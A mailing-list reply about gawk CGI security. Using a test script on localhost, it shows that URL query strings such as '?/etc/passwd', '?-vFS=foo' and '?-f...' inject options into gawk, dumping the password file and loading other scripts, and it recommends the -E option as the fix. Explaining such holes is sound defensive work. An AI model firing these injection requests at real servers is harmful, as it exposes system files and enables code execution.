[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [bug-gawk] Question regarding security of gawk CGI scripts
From: |
Assaf Gordon |
Subject: |
Re: [bug-gawk] Question regarding security of gawk CGI scripts |
Date: |
Thu, 20 Nov 2014 14:27:34 -0500 |
User-agent: |
Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.2.0 |
Hello Tomer and all,
On 06/11/2014 04:23 PM, taltman wrote:
<...>
In the GAWK manual, there's the following discussion of CGI security:
"This option is particularly necessary for World Wide Web CGI
applications that pass arguments through the URL; using this option
prevents a malicious (or other) user from passing in options,
assignments, or awk source code (via --source) to the CGI application."
I can try to suggest few examples of gawk and CGI.
The setup:
-1-
A AWK CGI script, named "/home/gordon/awktest/1.cgi" :
===
#!/usr/bin/gawk -f
BEGIN {
print "Content-type: text/plain";
print "";
print "Hello from AWK/CGI"
print "FS = '" FS "'"
print "OFS = '" OFS "'"
print "myvar = '" myvar "'"
}
{ print ; }
===
-2-
A AWK regular script, named "/home/gordon/awktest/foo.awk":
===
BEGIN { print "hello from other awk" }
===
-3-
Apache configuration as follows:
===
Alias /awktest /home/gordon/awktest
<Directory /home/gordon/awktest>
Options +ExecCGI
AllowOverride None
Require all granted
AddHandler cgi-script .cgi
</Directory>
===
Now, examples:
If you just visit the AWK/CGI script URL without any CGI parameters, it will
run as expected,
printing:
$ curl http://localhost/awktest/2.cgi
Hello from AWK/CGI
FS = ' '
OFS = ' '
myvar = ''
Apache will give the CGI parameters to AWK, so you can indirectly set AWK
variables:
$ curl 'http://localhost/awktest/2.cgi?-vFS%3Dfoo'
Hello from AWK/CGI
FS = 'foo'
OFS = ' '
myvar = ''
The above is equivalent to:
awk -vFS=foo /home/gordon/awktest/2.cgi
In the same way I can affect your awk's script variables:
$ curl 'http://localhost/awktest/2.cgi?-vmyvar%3Dfoobar'
Hello from AWK/CGI
FS = ' '
OFS = ' '
myvar = 'foobar'
So if you left them uninitialized, assuming the default values in AWK are empty
string or zero,
this could cause troubles.
===
In my contrived example, there's a simple "{print}" command, and in the URL I
can affect awk's input file:
$ curl 'http://localhost/awktest/2.cgi?/etc/passwd'
Hello from AWK/CGI
FS = ' '
OFS = ' '
myvar = ''
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
===
Using "-f" I can specify more AWK script to run:
$ curl 'http://localhost/awktest/2.cgi?-f/home/gordon/awktest/foo.awk'
Hello from AWK/CGI
FS = ' '
OFS = ' '
myvar = ''
hello from other awk
Which is equivalent to:
awk -f foo.awk -f 2.cgi
===
And perhaps, depending on the web server, one can even construct a malicious "-e
PROGRAM" to run arbitrary AWK commands.
Though I personally haven't investigated it, at least the following does work (i.e. AWK
doesn't stop and complain, and "1" is a valid awk statement):
$ curl 'http://localhost/awktest/2.cgi?-e1'
Hello from AWK/CGI
FS = ' '
OFS = ' '
myvar = ''
More complicated commands might be blocked by the web-server's
character-escaping rules.
===
All these issues are prevented by switching from "-f" to "-E" - because "-E"
tells AWK to immediately stop command-line processing.
Hope this helps.
Regards,
- Assaf